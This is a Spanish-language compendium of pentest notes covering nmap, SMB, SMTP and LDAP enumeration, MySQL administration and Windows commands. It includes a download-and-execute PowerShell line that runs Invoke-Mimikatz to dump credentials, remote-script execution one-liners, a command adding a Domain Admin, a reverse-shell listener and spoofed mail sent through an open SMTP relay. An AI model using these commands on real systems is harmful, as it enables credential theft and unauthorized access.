Pentest
Un compendio de notas sobre pentest.
Todo está aquí, excepto los temas que tienen su propio archivo:
- arduino_esp32.md
- docker.md
- hacking_android.md
- hacking_ios.md
- hacking_web.md
- hacking_wifi.md
- hardware.md
- linux.md
- Creando un laboratorio para pentest
- Notas en general sobre Linux
Análisis de binarios
32 bits vs 64 bits
Se abre el binario con un visor hexadecimal y se busca lo siguiente:
Si es de 32 bits
- PL
- 50 45 00 00 4C
Si es de 64 bits
- PE..dt
- 50 45 00 00 64 86
Apache
Obtener versiones
- curl
- netcat
- telnet
curl -I http://google.com
Enumerar carpetas (dirb)
- dirb
- gobuster
- nmap
# Enumerar carpetas con dirbdirb http://sitio.com -o output_file.txt
# Enumerar carpetas con nmapnmap -Pn -p80 --script http-enum 127.0.0.1
Dirbfile
# clonar repositoriogit clone https://github.com/elcaza/dirbfile.git
# Uso./dirbfile file
Hashes
Información de hashesh
Herramientas útiles
CRACKMAPEXEC
# Enumerar dominiocrackmapexec smb 10.10.10.10
# Comprobar contraseñascrackmapexec smb 10.10.10.10 -u 'user' -p 'password'
# Ver recursos compartidoscrackmapexec smb 10.10.10.10 -u 'user' -p 'password' --shares
Crunch
Herramienta para crear diccionarios
Instalación
sudo apt install crunch
Uso
# crunch <min> <max> <charset>crunch 3 6 0123456789 -o list.txtcrunch 4 8 123abcdefgh#$% -o list2.txt
More info
Cyberchef
Un montón de herramientas para códificar/decodificar
smbmap
# Ver recursos compartidossmbmap -H 10.10.10.10
# Leer algún recurso compartido (preivamente sale)smbmap -H 10.10.10.10 -r Nombre_recurso
# Descargar un recursosmbmap -H 10.10.10.10 --download Nombre_recurso
# Leer carpetas/archivos con credencialessmbmap 10.10.10.10 -u 'user' -p 'password' -r Carpeta
Ngrok
Passwords
cat passwords_burp.txt | (while read password; do echo -n "carlos" | (while read USERS; do echo $USERS:$password; done); done) > eyewitness.txt
Kioscos Windows
Comandos útiles
# usuario localwhoami
# hostnamehostname
# version de windowswinver
# Visor de eventoseventvwr
LDAP
ldap
ldapsearch -h 192.168.100.1 -x -s base namingcontexts
Metasploit
Logs
Problema:
- La salida de los comandos en metasploit nos es procesable con << | >>
- Por ejemplo la salida de enum_ssh para filtrar únicamente los usuarios validos
Con spool puedes definir un lugar en que se guardarán todo lo que imprima en pantalla metasploit
# Apagar los logsspool off
# Añadir una ruta en que se harán los logsspool /ruta/para/guardar.log
# Si lo quieres tener por siemprespool /home/<username>/.msf3/logs/console.log
Más información:
nmap
Metodología
simple (nmap 2000-10000) 1. simple nmap -vvv -Pn --max-retries 1 --top-ports 10000 -iL ips.txt -oA s1_proyecto_10000 correr: script para sacar puertos únicos 2. simple de versiones nmap -vvv -sV -Pn --max-retries 1 -p <list_ports> -iL ips.txt -oA s2_sv_proyecto_10000 3. simple de vulnes nmap -vvv -sV -sC -Pn --max-retries 1 -p <list_ports> -iL ips.txt -oA s3_sv_sc_proyecto_10000 correr: script para remover puertos filtrados
completo (all) 1. completo nmap -vvv -Pn --max-retries 1 -p- -iL ips.txt -oA c1_proyecto_all correr: script para sacar puertos únicos 2. completo de versiones nmap -vvv -sV -Pn --max-retries 1 -p <list_ports> -iL ips.txt -oA c2_sv_proyecto_all 3. completo de vulnes nmap -vvv -sV -sC -Pn --max-retries 1 -p <list_ports> -iL ips.txt -oA c3_sv_sc_proyecto_10000
script para sacar puertos únicos cat file.nmap | grep open | cut -d "/" -f1 | sort -u | tr "\n" "," && echo;
script para remover puertos filtrados sed '/filtered/d' c2_sv_sc_proyecto_all.nmap > f2_sv_sc_proyecto_all.nmap sed '/filtered/d' c3_sv_sc_proyecto_all.nmap > f3_sv_sc_proyecto_all.nmap
UDP 1. simple nmap -vvv -sU -Pn --max-retries 1 --top-ports 10000 -iL ips.txt -oA s1_udp_proyecto_10000 2. simple de versiones nmap -vvv -sU -sV -Pn --max-retries 1 -p <list_ports> -iL ips.txt -oA s2_udp_sv_proyecto_10000 3. simple de vulnes nmap -vvv -sU -sV -sC -Pn --max-retries 1 -p <list_ports> -iL ips.txt -oA s3_udp_sv_sc_proyecto_10000
otros cat f2_sv_proyecto_all.nmap | grep open | sort -u
Secuencia
- Corroborar que el host esté arriba, considerar omitir la resolución DNS
- Puede ser con o sin ping
- Detección única de puertos (Sin versiones ni nada)
- Detección de versiones y vulnerabilidades
Escaneo de un segmento de red
# Escanear un segmento de rednmap -sn 172.27.48.0/24
# Escanear un segmento de red (varias ips)nmap -sn 172.27.253.0/24 172.27.252.0/29
Descubrimiento rápido
# Escaneo a top portsnmap --max-retries 0 --top-ports 5000 site.com# Escaneo a todos los puertosnmap --max-retries 0 -p- site.com# Escaneo a top ports pero sin hacer ping, toma todos los hosts como vivosnmap --max-retries 0 --top-ports 5000 -P0 site.com# Escaneo a top ports pero sin hacer ping, toma todos los hosts como vivosnmap --max-retries 0 --top-ports 5000 -Pn site.com
Detección de versiones y vulnerabilidades
# Sintaxis básicanmap --max-retries -p 22,80,443,3000 -sV
# -sV => Mostrar versiones# -O => Identifica S.O.# -p => Define el puerto
# Identifica vulnerabilidadesnmap -sV -p80,443 --script=vulners ip
# Identifica vulnerabilidades por puerto asociadonmap -p80,8080 –sV –sC ip# -sC => Scripts de vulnerabilidades acorde al puerto analizado
# Busca vulnerabilidadesnmap 192.160.100.1 -Pn -sCV
# Realizar escaneo completo a los puertos determinadosnmap -A -p80,443 ip
Escaneo UDP
# Escaneo a puertos UDPnmap -sU 172.24.16.25
Scripts
# Actualiza la BD de scriptsnmap --script-updatedb
# Localiza los scripts de nmaplocate nse | grep script
# Ayuda sobre el scriptnmap --script-help=nombre_scrip
Más información:
Pretty shell
rlwrap (Historial de comandos)
# Instala rlwrapsudo apt install rlwrap
# Para capturar la reverse shellrlwrap nc -lp 5000
Python pretty shell
# Una vez que tienes la conexiónpython -c "import pty; pty.spawn('/bin/bash')"
# Otra opción espython -c "import pty; pty.spawn('/bin/sh')"
Python
Servidores web
# Python 3python3 -m http.server 8000
# Python 2python -m SimpleHTTPServer 7777
SQL
Asignar permisos
GRANT ALL PRIVILEGES ON mi_base_de_datos.* TO mi_usuario@localhost;FLUSH PRIVILEGES;
Borrar base de datos
DROP DATABASE base_de_datos;
Cambiar password de usuarios sin conocer el password
# Ver versión mysql/mariadbmysql --version
# Detener mysqlsudo systemctl stop mysql
# Iniciar MySQL sin seguridadsudo mysqld_safe --skip-grant-tables --skip-networking &
# Iniciar sesión sin contraseñamysql -u root
# Cambiar passwordFLUSH PRIVILEGES;ALTER USER 'root'@'localhost' IDENTIFIED BY 'new_password';
# Otra opciónSET PASSWORD FOR 'root'@'localhost' = PASSWORD('new_password');
Ingresar a SQL
sudo mysql -p
Listar usuarios
# Listar usuarios en MySQLSELECT user FROM mysql.user;
# Listar usuarios y hostsSELECT user,host FROM mysql.user;
# Listar usuarios, hosts y passwordSELECT user,host,password FROM mysql.user;
# Show Current and Current Logged UsersSELECT current_user();
# If you need more information, you can modify the query to display currently logged-in users with their statesSELECT user,host, command FROM information_schema.processlist;
Listar Bases de datos y ver permisos
# Ver bases de datosSHOW DATABASES;SHOW SCHEMAS;
Listar permisos
# Ver permisos de una BD en especificoSELECT user,host from mysql.db where db='DB_NAME';
# Ver privilegios de todos los usuariosSELECT user, host, password, select_priv, insert_priv, shutdown_priv, grant_priv FROM mysql.user;
# Ver permisos para BD individualesSELECT user, host, db, select_priv, insert_priv, grant_priv FROM mysql.db;
# Ver privilegiosSHOW grants;
Respaldar una BD
# Crear respaldo de la BDmysqldump -u nombre_usuario -p nombre_bbdd > nombre_archivo_dump.sql
Importar una BD
# Crear una nueva base de datosCREATE DATABASE nueva_bbdd;
# Importar una BDmysql -u nombre_usuario -p nueva_bbdd < nombre_archivo_dump.sql;
Referencias:
- https://www.hostinger.com/tutorials/mysql-show-users/#:~:text=2.-,Use%20the%20MySQL%20SHOW%20USERS%20Query,have%20been%20created%20in%20MySQL.
- https://www.digitalocean.com/community/tutorials/how-to-reset-your-mysql-or-mariadb-root-password
RPC (135)
Script de Python
./rpcdump.py 192.168.100.1
SMB (Server Message Block)
Detalles
- Puerto 445
- Versión SMB 1.0 => Conexión anónima permitida
- Windows 2008 en adelante no hay conexión anónima
- La versión SMB 1.0 podría estar habilitada por compatibilidad
Autenticación
# Autenticación anónimasmbclient -L 172.27.30.30 -N # Caso deshabilitado # Anonymous login successful # # Sharename Type Comment # --------- ---- ------- # SMB1 disabled -- no workgroup available
# Autenticación con usuario y contraseña# % separa el usuario del passwordsmbclient -L 172.27.30.30 -U 'user%password' # Caso login correcto # Sharename Type Comment # --------- ---- -------
# Recursos compartidos por defecto # ADMIN$ Disk Remote Admin # C$ Disk Default share # IPC$ IPC Remote IPC
# NETLOGON Disk Logon server share # SYSVOL Disk Logon server share
# Recursos compartidos en el caso de usar Windows update # UpdateServicesPackages Disk A network share to be used by client systems for collecting all software packages (usually applications) published on this WSUS system. # WsusContent Disk A network share to be used by Local Publishing to place published content on this WSUS system. # WSUSTemp Disk A network share used by Local Publishing from a Remote WSUS Console Instance. # SMB1 disabled -- no workgroup available
Entrada a los directorios
# Entrada a los directorios# Para algunos casos se requiere usuario adminsmbclient //172.27.30.30/WsusContent -U 'user%password'
# Caso usuario correcto y con privilgios suficientes # user:~# smbclient //172.27.30.30/C$ -U 'usuarioadmin%password' # Try "help" to get a list of possible commands.# Una vez en el prompt (smb: \>) usar dir para listardir # $Recycle.Bin DHS 0 Thu Aug 22 11:50:45 2013 # Documents and Settings DHS 0 Thu Aug 22 10:48:41 2013 # File.txt DR 0 Wed Sep 8 19:08:52 2021 # Program Files DR 0 Wed Sep 8 20:30:07 2021 # Program Files (x86) D 0 Thu Aug 22 11:39:32 2013 # ProgramData DH 0 Wed Sep 8 19:11:24 2021 # Users DR 0 Wed Sep 8 19:08:52 2021 # Windows D 0 Wed Sep 8 18:52:38 2021
# Para obtener algun archivo get fileget File.txt # getting file \File.txt of size 0 as READMe.txt (0.0 KiloBytes/sec) (average 0.0 KiloBytes/sec)
# Para quitarquit
##################### # Caso usuario correcto y con privilgios insuficientes # smbclient //172.27.30.30/WsusContent -U 'user%password' # tree connect failed: NT_STATUS_ACCESS_DENIED
Para deshabilitar el compartir por defecto mediante llave de registro
# llave para deshabilitar el autoshare (?)# dar de alta double word y en valor 0HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanManServer\AutoShareWks
SMB vulnes nmap
# SMBnmap 192.168.100.1 -Pn -p 445 -sCV –script vuln
SMTP (Simple Mail Transfer Protocol)
Puedes conectarte a través de varias herramientas, por ejemplo:
- netcat
- telnet
Sacar la configuración del servidor
Requiere que tengas el nombre de dominio, pero este sale en el banner de bienvenida
- 220 dmzweb.sitio.com ESMTP Sendmail 8.13.5/8.13.5; Mon, 4 Oct 2021 03:20:03 -0400
# Con telnettelnet 172.27.254.20 25# Nota el ehlo en lugar de helo# Sustituir dmzweb.sitio.com por el nombre de dominioehlo dmzweb.sitio.com # output # 250-dmzweb.sitio.com Hello [172.31.247.18], pleased to meet you # 250-ENHANCEDSTATUSCODES # 250-PIPELINING # 250-EXPN # 250-VERB # 250-8BITMIME # 250-SIZE # 250-DSN # 250-ETRN # 250-DELIVERBY # 250 HELP# Para salirquit
# Con netcatnc 172.27.254.20 25# Nota el ehlo en lugar de helo# Sustituir dmzweb.sitio.com por el nombre de dominioehlo dmzweb.sitio.com # output # 250-dmzweb.sitio.com Hello [172.31.247.18], pleased to meet you # 250-ENHANCEDSTATUSCODES # 250-PIPELINING # 250-EXPN # 250-VERB # 250-8BITMIME # 250-SIZE # 250-DSN # 250-ETRN # 250-DELIVERBY # 250 HELP# Para salirquit
Enumerar cuentas de usuarios
nc 172.27.254.20 25# Nota el helo en lugar de ehlohelo dmzweb.sitio.com# Para enumerar se uso EXPN usernameEXPN usuario1 # Output # 550 5.1.1 usuario1... User unknownEXPN root # 250 2.1.5 Nombre Apellido <usuario@dmzweb.sitio.com>EXPN webmaster # 250 2.1.5 Nombre Apellido <usuario@dmzweb.sitio.com>
Enviar correos sin autenticación
Tienes que tener una cuenta valida de correo
EXPN root # 250 2.1.5 Nombre ap <usuario.servidor@dmzweb.sitio.com>mail from: usuario.servidor@dmzweb.sitio.com # 250 2.1.0 usuario.servidor@dmzweb.sitio.com... Sender okrcpt to: user@gmail.com # 250 2.1.5 user@gmail.com... Recipient okdata # 354 Enter mail, end with "." on a line by itselfSubject: El asuntoMensaje del email, terminando con un punto.# 250 2.0.0 1947Mnyw018712 Message accepted for delivery
Tareas en segundo plano y asincronas
Con funciones
#!/usr/bin/bashdelayed_curl() { url=$1 callback=$2 seconds=$3
sleep $seconds curl -s $url || $callback $url}
loggin_error() { echo "error in: $1" >> error.log}
for delay in 1 5 10; do echo $delay delayed_curl "www.asjdlfjsdf.com" loggin_error $delay & delayed_curl "https://webhook.site/0cd769e1-20ce-4b42-aa10-2e580fef6a26" loggin_error $delay &done
En una sola línea
time sleep 5 && curl -s "https://webhook.site/0cd769e1-20ce-4b42-aa10-2e580fef6a26" && echo "Ready! `date`" & echo "Comenzando (se imprime primero) `date`"
# Output: # [1] 1156018 # Comenzando (se imprime primero) jue 29 jun 2023 09:11:35 CST # real 0m5.002s # user 0m0.002s # sys 0m0.000s # Ready! jue 29 jun 2023 09:11:41 CST
WiFi
Escanear redes
# Ecacenar interfaz# iwlist <interfaz> scan | grep SSIDiwlist wlan0 scan | grep SSID # ESSID:"Red 1" # ESSID:"Red 2"
Windows
Descargar archivos
Requiere administrador
# Metodo 1 - Download in PowerShell 2 ^$WebClient = New-Object System.Net.WebClient$WebClient.DownloadFile("https://raw.githubusercontent.com/elcaza/pentest/main/README.md","C:\path\file")
# Metodo 2 - Download with Invoke-WebRequest ^Invoke-WebRequest -Uri "https://raw.githubusercontent.com/elcaza/pentest/main/README.md" -OutFile "C:\path\file"
# Metodo 3 - Download with Invoke-WebRequest ^wget "https://raw.githubusercontent.com/elcaza/pentest/main/README.md" -outfile "file"
Más información:
Añadir usuario a Dominio
net user username password /ADD /DOMAINnet group "Domain Admins" username /ADD /DOMAIN
Ejecutando un living off the land
- Windows Defender lo detecta como actividad maliciosa
powershell.exe -exec bypass -C "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Mimikatz.ps1');Invoke-Mimikatz -DumpCreds"
iex ((New-Object System.Net.WebClient).DownloadString(‘https://git.io/JJ8R4’))
Invoke-Expression (New-Object Net.WebClient).DownloadString(‘http://192.168.100.59:3000/poc.ps1’)
Más información
- https://lolbas-project.github.io/
- https://github.com/LOLBAS-Project/LOLBAS
- https://www.elladodelmal.com/2020/09/windows-amsi-antimalware-scan-interface.html
- https://docs.microsoft.com/en-us/microsoft-365/security/defender-endpoint/configure-network-connections-microsoft-defender-antivirus?view=o365-worldwide
- https://docs.microsoft.com/en-us/microsoft-365/security/defender-endpoint/linux-exclusions?view=o365-worldwide
- https://www.gb-advisors.com/es/mimikatz/#:~:text=Windows%20cuenta%20con%20la%20funcionalidad,la%20clave%20secreta%20para%20descifrarlas.
Obteniendo datos del sistema
REM REM = Comentario en CMDREM Obtener informaciónsysteminfo